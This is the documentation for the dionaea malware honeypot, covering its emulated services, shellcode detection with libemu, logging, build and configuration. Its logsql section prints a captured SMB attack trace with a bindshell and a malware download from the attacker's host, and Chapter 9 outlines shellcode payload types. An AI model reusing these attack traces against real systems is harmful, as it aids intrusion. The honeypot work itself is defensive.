dionaea Documentation

Release 0.1

dionaea

May 31, 2016

Contents

Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shellcodes, supporting ipv6 and tls

Warning: The documentation is work in progress.

Content:

CHAPTER 1

Introduction

1.1 How it works

dionaea intention is to trap malware exploiting vulnerabilities exposed by services offerd to a network, the ultimate goal is gaining a copy of the malware.

1.2 Security

As Software is likely to have bugs, bugs in software offering network services can be exploitable, and dionaea is software offering network services, it is likely dionaea has exploitable bugs.

Of course we try to avoid it, but if nobody would fail when trying hard, we would not need software such as dionaea.

So, in order to minimize the impact, dionaea can drop privileges, and chroot.

To be able to run certain actions which require privileges, after dionaea dropped them, dionaea creates a child process at startup, and asks the child process to run actions which require elevated privileges. This does not guarantee anything, but it should be harder to get gain root access to the system from an unprivileged user in a chroot environment.

1.3 Network Connectivity

Given the softwares intented use, network io is crucial. All network io is within the main process in a so called non-blocking manner. To understand nonblocking, imagine you have many pipes infront of you, and these pipes can send you something, and you can put something into the pipe. If you want to put something into a pipe, while it is crowded, you'd have to wait, if you want to get something from a pipe, and there is nothing, you'd have to wait too. Doing this pipe game non-blocking means you won't wait for the pipes to be write/readable, you'll get something off the pipes once data arrives, and write once the pipe is not crowded. If you want to write a large chunk to the pipe, and the pipe is crowded after a small piece, you note the rest of the chunk you wanted to write, and wait for the pipe to get ready.

DNS resolves are done using libudns, which is a neat non-blocking dns resolving library with support for AAAA records and chained cnames. So much about non-blocking.

dionaea uses libev to get notified once it can act on a socket, read or write.

dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and can apply rate limiting and accounting limits per connections to tcp and tls connections - if required.

CHAPTER 2

Installation

At the time of writing the best choice to install dionaea on a server is to use Ubuntu 14.04.

2.1 Arch Linux

Packages for dionaea are available from the Arch User Repository (AUR). Use a package manager like yaourt that can handle and install packages from the AUR.

Before you start install the required build tools.

```
$ yaourt -S base-devel
```

After the requirements have been installed successfully you can install dionaea. This will checkout the latest sources from the git repository, run the build process and install the package.

```
$ yaourt -S dionaea-git
```

After the installation has been completed you may want to edit the config file /etc/dionaea/dionaea.conf. If everything looks fine the dionaea service can bee started by using the following command.

```
$ sudo systemctl start dionaea
```

The log files and everything captured can be found in the directory /var/lib/dionaea/.

2.2 Ubuntu 14.04

2.2.1 Package based

Nightly packages are provided in a Personal Package Archive (PPA). Before you start you should update all packages to get the latest security updates.

```
$ sudo apt-get update
$ sudo apt-get dist-upgrade
```

First of all install the tools to easily manage PPA resources.

```
$ sudo apt-get install software-properties-common
```

After the required tools have been installed you can add the PPA and update the package cache.

```
$ sudo add-apt-repository ppa:honeynet/nightly
$ sudo apt-get update
```

If everything worked without any errors you should be able to install the dionaea package.

```
$ sudo apt-get install dionaea
```

After the installation has been completed you may want to edit the config file /etc/dionaea/dionaea.conf. If everything looks fine the dionaea service can bee started by using the following command.

```
$ sudo service dionaea start
```

The log files can be found in the directory /var/log/dionaea/ and everything else captured and logged by the honeypot can be found in the directory /var/lib/dionaea/.

2.3 3rd-party packages

The packages below are 3rd party provided, which is appreciated. If you have compiled a package for your own distribution, just send me the link or make a pull request.

CHAPTER 3

Service

Network services speak a certain language, this language is called protocol. When we started deploying honeypots, you could trap worms just by opening a single port, and wait for them to connect and send you an url where you could download a copy of the worm. The service getting attacked was the backdoor of the bagle mailworm, and it did not require and interaction. Later on, the exploitations of real services got more complex, and you had to reply something to the worm to fool him. Nowadays worms use API to access services, before sending their payload. To allow easy adjustments to the procotol, dionaea implements the protocols in python. There is a glue between the network layer which is done in the c programming language and the embedded python scripting language, which allows using the non-blocking connections in python. This has some benefits, for example we can use non-blocking tls connections in python, and we even get rate limiting on them (if required), where pythons own io does not offer such things. On the other hand, it is much more comfortable to implement protocols in python than doing the same in c.

List of available services

3.1 FTP

Dionaea provives a basic ftp server on port 21, it can create directories and upload and download files. From my own experience there are very little automated attacks on ftp services and I'm yet to see something interesting happening on port 21.

3.2 HTTP

Dionaea supports http on port 80 as well as https, but there is no code making use of the data gathered on these ports. For https, the self-signed ssl certificate is created at startup.

3.2.1 Configure

Default configuration:

```
http = {
    root = "var/dionaea/wwwroot"
    max-request-size = "32768"
}
```

default_headers

Default header fields are send if none of the other header patterns match.

global_headers

Global header fields are added to all response headers.

headers

List of header fields to be used in the response header. Only applied if filename_pattern, status_code and methods match. The first match in the list is used.

max-request-size

Maximum size in kbytes of the request. 32768 = 32MB

root

The root directory so serve files from.

3.2.2 Examples

Set the Server response field.

```
http = {
    global_headers = [
        ["Server", "nginx"]
    ]
}
```

Define headers to use if the filename matches a pattern.

```
http = {
    headers = [
        {
            filename_pattern = ".*\\.php"
            headers = [
                ["Content-Type", "text/html; charset=utf-8"]
                ["Content-Length", "{content_length}"]
                ["Connection", "{connection}"]
                ["X-Powered-By", "PHP/5.5.9-1ubuntu4.5"]
            ]
        }
    ]
}
```

3.3 MSSQL

This module implements the Tabular Data Stream protocol which is used by Microsoft SQL Server. It listens to tcp/1433 and allows clients to login. It can decode queries run on the database, but as there is no database, dionaea can't reply, and there is no further action. Typically we always get the same query:

```
exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' s
```

Refer to the blog <http://carnivore.it/2010/09/11/mssql_attacks_examined> for more information. Patches would be appreciated.

3.4 MySQL

This module implements the MySQL wire stream protocol - backed up by sqlite as database. Please refer to 2011-05-15 Extending Dionaea <http://carnivore.it/2011/05/15/extending_dionaea> for more information.

3.5 SIP (VoIP)

This is a VoIP module for the honeypot dionaea. The VoIP protocol used is SIP since it is the de facto standard for VoIP today. In contrast to some other VoIP honeypots, this module doesn't connect to an external VoIP registrar/server. It simply waits for incoming SIP messages (e.g. OPTIONS or even INVITE), logs all data as honeypot incidents and/or binary data dumps (RTP traffic), and reacts accordingly, for instance by creating a SIP session including an RTP audio channel. As sophisticated exploits within the SIP payload are not very common yet, the honeypot module doesn't pass any code to dionaea's code emulation engine. This will be implemented if we spot such malicious messages. The main features of the VoIP module are:

- Support for most SIP requests (OPTIONS, INVITE, ACK, CANCEL, BYE)
- Support for multiple SIP sessions and RTP audio streams
- Record all RTP data (optional)
- Set custom SIP username and secret (password)
- Set custom useragent to mimic different phone models
- Uses dionaea's incident system to log to SQL database

3.5.1 Personalities

A personality defines how to handle a request. At least the 'default' personality MUST exist. The following options are available per personality.

serve

A list of IP addresses to use this personality for.

handle

List of SIP methods to handle.

3.5.2 SIP Users

You can easily add, change or remove users by editing the SQLite file specified by the 'users = "" parameter in the config file. All users are specified in the users table.

username

Specifies the name of the user. This value is treated as regular expression. See Python: Regular Expressions <http://docs.python.org/py3k/library/re.html> for more information.

password

The password.

personality

The user is only available in the personality specified by this value. You can define a personality in the config file.

pickup_delay_min

This is an integer value. Let the phone ring for at least this number of seconds.

pickup_delay_max

This is an integer value. Maximum number of seconds to wait before dionaea picks up the phone.

action

This value isn't in use, yet.

sdp

The name of the SDP to use. See table 'sdp'.

3.5.3 SDP

All SDPs can be defined in the sdp table in the users database.

name

Name of the SDP

sdp

The value to use as SDP

The following values are available in the SDP definition.

{addrtype}

Address type. (IP4 or IP6)

{unicast_address}

RTP address

{audio_port}

Dionaea audio port.

{video_port}

Dionaea video port.

The following control parameters are available in the SDP definition.

[audio_port]...content...[/audio_port]

The content is only available in the output if the audio_port value is set.

[video_port]...content...[/video_port]

The content is only available in the output if the video_port value is set.

Example:

```
v=0
o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
[audio_port]
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=sendrecv
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
```

```
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
[/audio_port]
[video_port]
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000
[/video_port]
```

3.6 SMB

The main protocol offerd by dionaea is SMB. SMB has a decent history of remote exploitable bugs, and is a very popular target for worms. dionaeas SMB implementation makes use of an python3 adapted version of scapy. As scapys own version of SMB was pretty limited, almost everything but the Field declarations had to be rewritten. The SMB emulation written for dionaea is used by the mwcollectd <http://code.mwcollect.org> low interaction honeypot too. Besides the known attacks on SMB dionaea supports uploading files to smb shares. Adding new DCE remote procedure calls is a good start to get into dionaea code, you can use:

```
SELECT
        COUNT(*),
        dcerpcrequests.dcerpcrequest_uuid,
        dcerpcservice_name,
        dcerpcrequest_opnum
FROM
        dcerpcrequests
        JOIN dcerpcservices ON(dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.dcerpcservice_uuid
        LEFT OUTER JOIN dcerpcserviceops ON(dcerpcserviceops.dcerpcserviceop_opnum = dcerpcrequest_op
WHERE
        dcerpcserviceop_name IS NULL
GROUP BY
        dcerpcrequests.dcerpcrequest_uuid,dcerpcservice_name,dcerpcrequest_opnum
ORDER BY
        COUNT(*) DESC;
```

to identify potential usefull targets of unknown dcerpc calls using the data you gathered and stored in your logsql database. Patches are appreciated.

3.7 tftp

Written to test the udp connection code, dionaea provides a tftp server on port 69, which can serve files. Even though there were vulnerabilities in tftp services, I'm yet to see an automated attack on tftp services.

CHAPTER 4

Logging (ihandler)

Getting a copy of the malware is cool, getting an overview of the attacks run on your sensor is priceless.

dionaea can write information to a text file, but be aware, dionaeas logging to text files is rather chatty, really chatty, and you do not want to look at the information, if you are not debugging the software or writing some new feature for it.

Of course, you can appy filters to the logging, to limit it to different facilities or levels, but in general you do not want to work with text files.

dionaea uses some internal communication system which is called incidents. An incident has an origin, which is a string, a path, and properties, which can be integers, strings, or a pointer to a connection. Incidents limit to the max, they pass the information required to incident handlers (ihandler). An ihandler can register a path for incidents he wants to get informed about, the pathes are matched in a glob like fashion. Therefore logging information using an ihandler is superior to text logging, you get the information you are looking for, and can write it to a format you choose yourself.

List of available ihandlers

4.1 log_json

This ihandler can submit information about attacks/connections encoded as json.

> **Warning:** This ihandler is in pre alpha state and it might be changed or removed in the near future.

4.1.1 Configure

Default configuration:

```
log_json = {
    handlers = [
        "http://127.0.0.1:8080/"
        "file:///tmp/dionaea.json"
    ]
}
```

handlers

List of URLs to submit the information to. At the moment only file, http and https are supported.

4.1.2 Format

Format of the connection information:

```
{
    "connection": {
        "local": {
            "address": "<string:local ip address>",
            "port": <integer:local port>,
        },
        "protocol": "<string:service name e.g. httpd>",
        "remote": {
            "address": "<string:remote ip address>",
            "port": <integer:remote port>,
            "hostname": "<string:hostname of the remote host>"
        },
        "transport": "<string:transport protocol e.g. tcp or udp>",
        "type": "<string:connection type e.g. accepted, listen, ...>"
    }
}
```

4.2 logsql

This is what the logsql python script does, it is an ihandler, and writes interesting incidents to a sqlite database, one of the benefits of this logging is the ability to cluster incidents based on the initial attack when retrieving the data from the database:

```
connection 610 smbd tcp accept 10.69.53.52:445 <- 10.65.34.231:2010
 dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
 p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
 profile: [{'return': '0x7c802367', 'args': ['', 'CreateProcessA'], 'call': 'GetProcAddress'},
            ...., {'return': '0', 'args': ['0'], 'call': 'ExitThread'}]
 service: bindshell://1957
 connection 611 remoteshell tcp listen 10.69.53.52:1957
   connection 612 remoteshell tcp accept 10.69.53.52:1957 <- 10.65.34.231:2135
     p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
     offer: fxp://1:1@10.65.34.231:8218/ssms.exe
     download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:1@10.65.34.231:8218/ssms.exe
     connection 613 ftpctrl tcp connect 10.69.53.52:37065 -> 10.65.34.231/None:8218
       connection 614 ftpdata tcp listen 10.69.53.52:62087
         connection 615 ftpdata tcp accept 10.69.53.52:62087 <- 10.65.34.231:2308
           p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0
```

Additionally, you can query the database for many different things, refer to:

- dionaea sql logging 2009/11/06 <http://carnivore.it/2009/11/06/dionaea_sql_logging>
- post it yourself 2009/12/08 <http://carnivore.it/2009/12/08/post_it_yourself>
- sqlite performance 2009/12/12 <http://carnivore.it/2009/12/12/sqlite_performance>
- virustotal fun 2009/12/14 <http://carnivore.it/2009/12/14/virustotal_fun>
- Andrew Waite's Blog <http://infosanity.wordpress.com/> for mimic-nepstats.py

for more examples how to make use of the database.

4.3 logxmpp

Additional to local logging, dionaea can send a contionous stream of its attacks to a xmpp server, which allows creating a distributed setup of sensors with high detail of information for each attack.

Refer to logxmpp <#logxmpp> and pg_backend <#pg_backend> for more information about distributed setups using xmpp.

CHAPTER 5

Contributing

First of all, thank you for your interest in contributing to dionaea!

5.1 Filing bug reports

Bug reports are very welcome. Please file them on the GitHub issue tracker. Good bug reports come with extensive descriptions of the error and how to reproduce it.

5.2 Patches

All patches to dionaea should be submitted in the form of pull requests to the main dionaea repository, DinoTools/dionaea. These pull requests should satisfy the following properties:

5.2.1 Code

- The pull request should focus on one particular improvement to dionaea.
- Create different pull requests for unrelated features or bugfixes.
- Python code should follow PEP 8, especially in the "do what code around you does" sense.

5.2.2 Documentation

When introducing new functionality, please remember to write documentation.

5.3 Review

Finally, pull requests must be reviewed before merging. Everyone can perform reviews; this is a very valuable way to contribute, and is highly encouraged.

CHAPTER 6

Development

6.1 Vagrant

Vagrant can be used to setup a development environment for dionaea within minutes.

6.1.1 Install

First install Vagrant and VirtualBox.

If everything has been setup correctly clone the git repository and use vagrant to start the environment.

```
$ git clone https://github.com/dionaea-honeypot/dionaea.git
$ cd dionaea/vagrant
$ vagrant up
```

Run the following command to access the development environment.

```
$ vagrant ssh
```

6.1.2 Rebuild and test

By default the dionaea service is started in the virtual machine. Stop the service before rebuilding and testing your changes.

```
$ sudo service dionaea stop
```

Now rebuild, install and start dionaea.

```
$ cd /vagrant
$ make
$ sudo make install
$ sudo dionaea -c /etc/dionaea/dionaea.conf -l all,-debug -L '*'
```

This can also be done in one line.

```
$ cd /vagrant
$ make && sudo make install && sudo dionaea -c /etc/dionaea/dionaea.conf -l all,-debug -L '*'
```

CHAPTER 7

Changelog

7.1 0.4.0 - (master)

7.2 0.3.0 - 2016-xx-xx

core

- Code clean up (Thanks to Katarina)
- Vagrant based dev environment
- Customize ssl/tls parameters for autogenerated certificates

doc

- Initial version of sphinx based documentation

python/ftp

- Support to customize response messages
- Small fixes

python/hpfeeds

- Initial ihandler support (Thanks to rep)

python/http

- Customize HTTP response headers
- Return HTTP/1.1 instead of HTTP/1.0

python/log_json

- Initial ihandler support

python/mqtt

- Initial protocol support (Thanks to gento)

python/pptp

- Initial protocol support (Thanks to gento)

python/upnp

- Initial protocol support (Thanks to gento)

7.3 0.2.1 - 2014-07-16

core

- Support for cython and cython3
- Fixes to build with glib 2.40
- Remove build warnings
- Support libnl >= 3.2.21

python/http

- Fix unlink() calls

python/virustotal

- virustotal API v2.0

7.4 0.2.0 - 2013-11-02

Last commit by original authors.

7.5 0.1.0

- Initial release.

CHAPTER 8

FAQ

I get gcc: command not found?

install gcc..

How to uninstall it?

rm -rf /opt/dionaea

I get binding.pyx:...: undeclared name not builtin: bytes during the python modules build

Install a recent cython version

I get Python.h not found during compiling cython

Install appropriate headers for your python interpreter

I get OperationalError at unable to open database file when using logsqlite and it does not work at all

Read the logsql instructions <#logsql>

I get a Segmentation Fault

Read the segfault instructions <#segfault>

I logrotate, and after logrotate dionaea does not log anymore.

Read the logrotate instructions <#logging>

I do not use ubuntu/debian and the instructions are useless for me therefore.

I use debian/ubuntu, and therefore I can only provide instructions for debian/ubuntu, but you are free to send me a diff for your operating system

p0f does not work.

Make sure your have p0f 2.0.8 and dionaea does not listen on ::, p0f can't deal with IPv6.

I'm facing a bug, it fails, and I can't figure out why.

Explain the problem, if I'm interested in the nature of the problem, as it does not sound like pebcak, I may ask for a shell/screen and have a look myself, and if it is worth it, you'll even get a FAQ entry for some specialties of your OS.

I use Redhat/Centos 5 and the installation is frustrating and a mess as nothing works.

Thats right, but I did not choose your operating system. Here is a list of outdated or missing packages for your choosen distribution: *all*. Yes, you'll even have to install glib (you'll have 2.10 where 2.20 is required) from source. Getting python3 compiled with a recent sqlite3 version installed to /opt/dionaea requires editing the setup.py file (patch <http://p.carnivore.it/KDIFWt>). /I experienced this wonderful operating system myself ... You really have to love your distro to stick with it, even if it ships software

versions your grandma saw released in her youth. *Centos is the best distro ... to change distros*. No matter what you choose, it can't get worse./

Old documentation:

CHAPTER 9

Exploitation

Attackers do not seek your service, attackers want to exploit you, they'll chat with the service for some packets, and afterwards sent a payload. dionaea has to detect and evaluate the payload to be able to gain a copy of the malware. In order to do so, dionaea uses libemu.

Given certain circumstances, libemu can detect shellcode, measure the shellcode, and if required even execute the shellcode. Shellcode detection is done by making use of GetPC heuristics, others wrote papers about it, we decided to write libemu to do so. This detection is rather time consuming, and therefore done using threads.

The part of dionaea which takes care of the network io can create a copy of all in/output run for a connection, this copy is passed to the detection facility, which is a tree of detection facilities, at this moment there is only a single leaf, the emu plugin. The emu plugin uses threads and libemu to detect and profile/measure shellcode.

Shellcode measurement/profiling is done by running the shellcode in the libemu vm and recording API calls and arguments. For most shellcode profiling is sufficient, the recorded API calls and arguments reveal enough information to get an idea of the attackers intention and act upon them. For multi-stage shellcode, where the first exploitation stage of the shellcode would retrieve a second shellcode from the attacker, profiling is not sufficient, as we lack the information 'what to do' from the second stage of the shellcode, in this case we need to make use of shellcode execution. Shellcode execution is basically the same as shellcode profiling, the only difference is not recording the api calls, and we allow the shellcode to take certain actions, for example creating a network connection.

9.1 Payloads

Once we have the payload, and the profile, dionaea has to guess the intention, and act upon it

9.1.1 Shells - bind/connectback

This payload offers a shell (cmd.exe prompt) to the attacker, either by binding a port and waiting for the attacker to connect to us again, or by connection to the attacker. In both cases, dionaea offers an cmd.exe emulation to the attacker, parses the input, and acts upon the input, usually the instructions download a file via ftp or tftp.

9.1.2 URLDownloadToFile

These shellcodes use the URLDownloadToFile api call to retrieve a file via http, and execute the retrieved file afterwards

9.1.3 Exec

Making use of WinExec, these shellcode execute a single command which has to be parsed and processed like the bind/connectback shell shellcommands.

9.1.4 Multi Stage Payloads

We never know what the second stage is, therefore libemu is used to execute the shellcode in the libemu vm.

CHAPTER 10

Downloads

Once dionaea gained the location of the file the attacker wants it to downloads from the shellcode, dionaea will try to download the file. The protocol to downloads files via tftp and ftp is implemented in python (ftp.py and tftp.py) as part of dionaea, downloading files via http is done in the curl module - which makes use of libcurl's awsome http capabilities. Of course libcurl can run downloads for ftp too, but the ftp services embedded in malware a designed to work with windows ftp.exe client, and fail for others.

CHAPTER 11

Submit

Once dionaea got a copy of the worm attacking her, we may want to store the file locally for further analysis, or submit the file to some 3rd party for further analysis.

dionaea can http/POST the file to several services like CWSandbox, Norman Sandbox or VirusTotal.

CHAPTER 12

Development

dionaea initial development was funded by the Honeynet Project <http://honeynet.org/> as part of the Honeynets Summer of Code during 2009. The development process is as open as possible; you can browse <http://src.carnivore.it/dionaea> the source online and subscribe to RSS updates <http://src.carnivore.it/dionaea/atom> and submit bugs or patches <mailto:nepenthes-devel@lists.sourceforge.net>.

12.1 Compiling & Installation

Requirements

- libev <#install_libev> >=4.04, schmorp.de <http://software.schmorp.de/pkg/libev.html>
- libglib <#install_glib> >=2.20
- libssl <#install_openssl>, openssl.org <http://www.openssl.org>
- liblcfg <#install_liblcfg>, liblcfg.carnivore.it <http://liblcfg.carnivore.it>
- libemu <#install_libemu>, libemu.carnivore.it <http://libemu.carnivore.it>
- python <#install_python> >=3.2, python.org <http://www.python.org>
- o sqlite <#install_sqlite> >=3.3.6 sqlite.org <http://www.sqlite.org> o readline <#install_readline> >=3 cnswww.cns.cwru.edu

  <http://cnswww.cns.cwru.edu/php/chet/readline/rltop.html>
- cython <#install_cython> >0.14.1, cython.org <http://www.cython.org>
- libudns <#install_udns>, corpit.ru <http://www.corpit.ru/mjt/udns.html>
- libcurl <#install_curl> >=7.18, curl.haxx.se <http://curl.haxx.se>
- libpcap <#install_pcap> >=1.1.1, tcpdump.org <http://www.tcpdump.org>
- libnl <#install_nl> from git, infradead.org <http://www.infradead.org/~tgr/libnl/> (optional)
- libgc >=6.8, hp.com <http://linux.maruhn.com/sec/libgc.html> (optional)

12.2 Ubuntu

Some packages are provided by the apt-tree, so you don't have to install everything from source

```
aptitude install libudns-dev libglib2.0-dev libssl-dev libcurl4-openssl-dev \
libreadline-dev libsqlite3-dev python-dev \
libtool automake autoconf build-essential \
subversion git-core \
flex bison \
pkg-config
```

12.3 tar xfz ...

The remaining dependencies have to be installed from source, we will install all dependencies to /opt/dionaea here, so make sure the directory exists, and you are allowed to write it.

libglib (debian <= etch)

If your lack a recent glib, better update your operating system.

liblcfg (all)

git clone git://git.carnivore.it/liblcfg.git liblcfg cd liblcfg/code autoreconf -vi ./configure –prefix=/opt/dionaea make install cd .. cd ..

libemu (all)

git clone git://git.carnivore.it/libemu.git libemu cd libemu autoreconf -vi ./configure –prefix=/opt/dionaea make install cd ..

libnl (linux && optional)

In case you use Ubuntu, libnl3 may be available in apt,

apt-get install libnl-3-dev libnl-genl-3-dev libnl-nf-3-dev libnl-route-3-dev

else install it from git.

git clone git://git.infradead.org/users/tgr/libnl.git cd libnl autoreconf -vi export LDFLAGS=-Wl,-rpath,/opt/dionaea/lib ./configure –prefix=/opt/dionaea make make install cd ..

libev (all)

wget http://dist.schmorp.de/libev/Attic/libev-4.04.tar.gz tar xfz libev-4.04.tar.gz cd libev-4.04 ./configure –prefix=/opt/dionaea make install cd ..

Python 3.2

Before installing Python, we will install required dependencies

readline

Should be available for every distribution.

sqlite > 3.3

Should be available for every distribution. If your distributions sqlite version is < 3.3 and does not support triggers, you are doomed, please let me know, I'll write about how broken pythons build scripts are, and document how to to compile it with a user- provided - more recent - sqlite version.

Python

wget http://www.python.org/ftp/python/3.2.2/Python-3.2.2.tgz tar xfz Python-3.2.2.tgz cd Python-3.2.2/ ./configure –enable-shared –prefix=/opt/dionaea –with-computed-gotos

–enable-ipv6 LDFLAGS="-Wl,-rpath=/opt/dionaea/lib/ -L/usr/lib/x86_64-linux-gnu/"

make make install

Cython (all)

We have to use cython >= 0.15 as previous releases do not support Python3.2 __hash__'s Py_Hash_type for x86.

wget http://cython.org/release/Cython-0.15.tar.gz tar xfz Cython-0.15.tar.gz cd Cython-0.15 /opt/dionaea/bin/python3 setup.py install cd ..

udns (!ubuntu)

udns does not use autotools to build.

wget http://www.corpit.ru/mjt/udns/old/udns_0.0.9.tar.gz tar xfz udns_0.0.9.tar.gz cd udns-0.0.9/ ./configure make shared

There is no make install, so we copy the header to our include directory.

cp udns.h /opt/dionaea/include/

and the lib to our library directory.

cp *.so* /opt/dionaea/lib/

cd /opt/dionaea/lib ln -s libudns.so.0 libudns.so cd - cd ..

libcurl (all)

Grabbing curl from your distributions maintainer should work, if you run a decent distribution. If not consider upgrading your operating system.

libpcap (most)

To honor the effort, we rely on libpcap 1.1.1. Most distros ship older versions, therefore it is likely you have to install it from source.

wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz tar xfz libpcap-1.1.1.tar.gz cd libpcap-1.1.1 ./configure –prefix=/opt/dionaea make make install cd ..

OpenSSL (optional)

WARNING: doing this, requires *all* dependencies to be compiled using the same ssl version, so you have to link curl and python to your own openssl build too If you experience problems with tls connections, install your OpenSSL >= 0.9.8l/1.0.0-beta2, or fall back to cvs for now.

cvs -d anonymous@cvs.openssl.org:/openssl-cvs co openssl cd openssl ./Configure shared –prefix=/opt/dionaea linux-x86_64 make SHARED_LDFLAGS=-Wl,-rpath,/opt/dionaea/lib make install

Compiling dionaea

git clone git://git.carnivore.it/dionaea.git dionaea

then ..

cd dionaea autoreconf -vi ./configure –with-lcfg-include=/opt/dionaea/include/

–with-lcfg-lib=/opt/dionaea/lib/ –with-python=/opt/dionaea/bin/python3.2 –with-cython-dir=/opt/dionaea/bin –with-udns-include=/opt/dionaea/include/ –with-udns-lib=/opt/dionaea/lib/ –with-emu-include=/opt/dionaea/include/ –with-emu-lib=/opt/dionaea/lib/ –with-gc-include=/usr/include/gc –with-ev-include=/opt/dionaea/include –with-ev-lib=/opt/dionaea/lib –with-nl-include=/opt/dionaea/include –with-nl-lib=/opt/dionaea/lib/ –with-curl-config=/usr/bin/ –with-pcap-include=/opt/dionaea/include –with-pcap-lib=/opt/dionaea/lib/

make make install

Update dionaea

Most updates boil down to a

git pull; make clean install

But, you always want to make sure your config file is up to date, you can use

/opt/dionaea/etc/dionaea# diff dionaea.conf dionaea.conf.dist

CHAPTER 13

Running dionaea

The software has some flags you can provide at startup, the -h flags shows the help, the -H includes the default values.

-c, --config=FILE use FILE as configuration file Default value/behaviour: /opt/dionaea/etc/dionaea.conf

-D, --daemonize run as daemon

-g, --group=GROUP switch to GROUP after startup (use with -u) Default value/behaviour: keep current group

-G, –garbage=[collect|debug] garbage collect, usefull to debug memory leaks, does NOT work with valgrind

-h, --help display help

-H, --large-help display help with default values

-l, --log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error combine using ‘,’, exclude with - prefix

-L, --log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using -

-u, --user=USER switch to USER after startup Default value/behaviour: keep current user

-p, --pid-file=FILE write pid to file

-r, --chroot=DIR chroot to DIR after startup Default value/behaviour: don’t chroot

-V, --version show version

-w, --workingdir=DIR set the process’ working dir to DIR Default value/behaviour: /opt/dionaea

examples:

```
# dionaea -l all,-debug -L '*'
# dionaea -l all,-debug -L 'con*,py*'
# dionaea -u nobody -g nogroup -r /opt/dionaea/ -w /opt/dionaea -p /opt/dionaea/var/dionaea.pid
```

CHAPTER 14

Configuration - dionaea.conf

If you want to change the software, it is really important to understand how it works, therefore please take the time to how it works. dionaea.conf is the main configuration file, the file controls consists of sections for:

- logging
- processors
- downloads
- bistreams
- submit
- listen
- modules

14.1 logging

The logging section controls ... logging, you can specify log domains and loglevel for different logfiles. As dionaea is pretty ... verbose, it is useful to rotate the logfiles using logrotate.

```
# logrotate requires dionaea to be started with a pidfile
# in this case -p /opt/dionaea/var/run/dionaea.pid
# adjust the path to your needs
/opt/dionaea/var/log/dionaea*.log {
        notifempty
        missingok
        rotate 28
        daily
        delaycompress
        compress
        create 660 root root
        dateext
        postrotate
                kill -HUP `cat /opt/dionaea/var/run/dionaea.pid`
        endscript
}
```

//etc/logrotate.d/dionaea/ processors control the actions done on the bi-directional streams we gain when getting attacked, the default is running the emu processor on them to detect shellcode. downloads specify where to store downloaded malware. bistreams specify where to store bi-directional streams, these are pretty useful when debugging, as they allow to replay an attack on ip-level, without messing with pcap&tcpreplay, which never worked for me.

submit specifies where to send files to via http or ftp, you can define a new section within submit if you want to add your own service. listen sets the addresses dionaea will listen to. The default is *all* addresses it can find, this mode is call getifaddrs, but you can set it to manual and specify a single address if you want to limit it. modules is the most powerfull section, as it specifies the modules to load, and the options for each module. The subsections name is the name of the module dionaea will try to load, most modules got rather simplistic names, the pcap module will use libpcap, the curl module libcurl, the emu module libemu ... The python module is special, as the python module can load python scripts, which offer services, and each services can have its own options.

14.2 modules

14.2.1 pcap

The pcap module uses the libpcap library to detect rejected connection attempts, so even if we do not accept a connection, we can use the information somebody wanted to connect there.

14.2.2 curl

The curl module is used to transfer files from and to servers, it is used to download files via http as well as submitting files to 3rd parties

14.2.3 emu

The emu module is used to detect, profile and - if required - execute shellcode.

14.2.4 python

The python module allows using the python interpreter in dionaea, and allows controlling some scripts dionaea uses

logsql

This section controls the logging to the sqlite database. logsql does not work when chrooting - python makes the path absolute and fails for requests after chroot().

logsql requires the directory where the logsql.sqlite file resides to be writeable by the user, as well as the logsql.sqlite file itself. So, if you drop user privs, make sure the user you drop to is allowed to read/write the file and the directory.

```
chown MYUSER:MYGROUP /opt/dionaea/var/dionaea -R
```

To query the logsql database, I recommend looking at the readlogsqltree.py <#readlogsqltree> script, for visualisation the gnuplotsql <#gnuplotsql> script.

The blog on logsql:

- 2009-11-06 dionaea sql logging <http://carnivore.it/2009/11/06/dionaea_sql_logging>
- 2009-12-08 post it yourself <http://carnivore.it/2009/12/08/post_it_yourself>
- 2009-12-12 sqlite performance <http://carnivore.it/2009/12/12/sqlite_performance>
- 2009-12-14 virustotal fun <http://carnivore.it/2009/12/14/virustotal_fun>
- 2009-12-15 paris mission pack avs <http://carnivore.it/2009/12/15/paris_mission_pack_avs>

- 2010-06-06 data visualisation <http://carnivore.it/2010/06/06/data_visualisation>

logxmpp

This section controls the logging to xmpp services. If you want to use logxmpp, make sure to enable logxmpp in the ihandler section. Using logxmpp allows you to share your new collected files with other sensors anonymously.

The blog on logxmpp:

- 2010-02-10 xmpp backend <http://carnivore.it/2010/02/10/xmpp_backend>
- 2010-05-12 xmpp take #2 <http://carnivore.it/2010/05/12/xmpp_-_take_2>
- 2010-05-15 xmpp take #3 <http://carnivore.it/2010/05/15/xmpp_-_take_3>

pg_backend <#pg_backend> can be used as a backend for xmpp logging sensors.

p0f

